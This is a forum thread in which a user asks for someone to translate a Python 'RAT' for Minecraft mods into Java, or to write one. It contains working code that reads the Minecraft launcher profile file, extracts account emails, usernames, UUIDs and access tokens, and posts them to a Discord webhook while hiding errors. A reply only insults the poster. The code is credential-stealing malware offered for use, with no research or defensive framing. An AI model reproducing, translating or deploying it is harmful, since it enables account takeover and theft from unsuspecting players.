Thread: [Translation of code from python to Java \(rat\)](#)

lasermat - May 31, 2022, 1:37 am

Hi (I use google translate)

it will be to know if someone can translate this code into java (it's a rat for minecraft mods)
it's python for now or if someone can make me a rat of a minecraft mod or we just have to change the weebhook

Thank you ?

```
import json
import os
from urllib.request import Request, urlopen

# your webhook URL
WEBHOOK_URL = "Webhook here"

# mentions you when you get a hit
PING_ME = True

def uuid_dashed(uuid):
    return f"{uuid[0:8]}-{uuid[8:12]}-{uuid[12:16]}-{uuid[16:21]}-{uuid[21:32]}"

def main():
    auth_db = json.loads(open(os.getenv("APPDATA") +
"\\minecraft\\launcher_profiles.json").read())["authenticationDatabase"]

    embeds = []

    for x in auth_db:
        try:
            email = auth_db[x].get("username")
            uuid, display_name_object = list(auth_db[x]["profiles"].items())[0]
            embed = {
                "fields": [
                    {"name": "Email", "value": email if email and "@" in email else "N/A", "inline": False},
                    {"name": "Username", "value": display_name_object["displayName"].replace("_", "\\_")},
```

```

"inline": True},
    {"name": "UUID", "value": uuid_dashed(uuid), "inline": True},
    {"name": "Token", "value": auth_db[x]["accessToken"], "inline": True}
    ]
}
embeds.append(embed)
except:
    pass

headers = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko)
Chrome/23.0.1271.64 Safari/537.11"
}

payload = json.dumps({"embeds": embeds, "content": "@everyone" if PING_ME else ""})

try:
    req = Request(WEBHOOK_URL, data=payload.encode(), headers=headers)
    urlopen(req)
except:
    pass

if __name__ == "__main__":
    main()

this shit is so fucking common you don't need to translate it.
 this ""rat"" is retarded and so are you.
